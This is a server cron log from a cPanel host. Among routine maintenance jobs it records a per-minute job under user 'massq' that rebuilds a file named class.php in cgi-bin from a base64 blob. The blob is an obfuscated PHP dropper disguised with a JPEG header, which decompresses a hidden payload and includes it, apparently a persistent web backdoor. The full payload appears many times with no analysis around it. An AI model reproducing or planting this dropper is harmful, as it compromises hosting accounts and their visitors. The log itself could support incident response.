Sep 12 11:30:01 server CROND[22748]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:30:01 server CROND[22751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:30:01 server CROND[22753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:31:01 server CROND[23730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:31:01 server CROND[23731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:31:01 server CROND[23732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:32:01 server CROND[24138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:32:01 server CROND[24139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:32:01 server CROND[24141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:33:01 server CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:33:01 server CROND[24619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:33:01 server CROND[24621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:34:01 server CROND[24979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:34:01 server CROND[24980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:34:01 server CROND[24981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:35:01 server CROND[25362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:35:01 server CROND[25363]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:35:01 server CROND[25364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:35:01 server CROND[25372]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:35:01 server CROND[25374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:35:01 server CROND[25377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:35:01 server CROND[25373]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:35:01 server CROND[25375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:35:01 server CROND[25376]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 11:36:01 server CROND[26219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:36:01 server CROND[26220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:36:01 server CROND[26221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:37:01 server CROND[26617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:37:01 server CROND[26618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:37:01 server CROND[26619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:38:01 server CROND[27107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:38:01 server CROND[27106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:38:01 server CROND[27108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:39:01 server CROND[27486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:39:01 server CROND[27487]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 11:39:01 server CROND[27489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:39:01 server CROND[27488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:40:01 server CROND[27889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:40:01 server CROND[27892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 11:40:01 server CROND[27895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:40:01 server CROND[27896]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 11:40:01 server CROND[27898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:40:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:40:01 server CROND[27893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:40:01 server CROND[27897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:41:01 server CROND[28732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:41:01 server CROND[28733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:41:01 server CROND[28735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 11:42:01 server CROND[29119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:42:01 server CROND[29120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
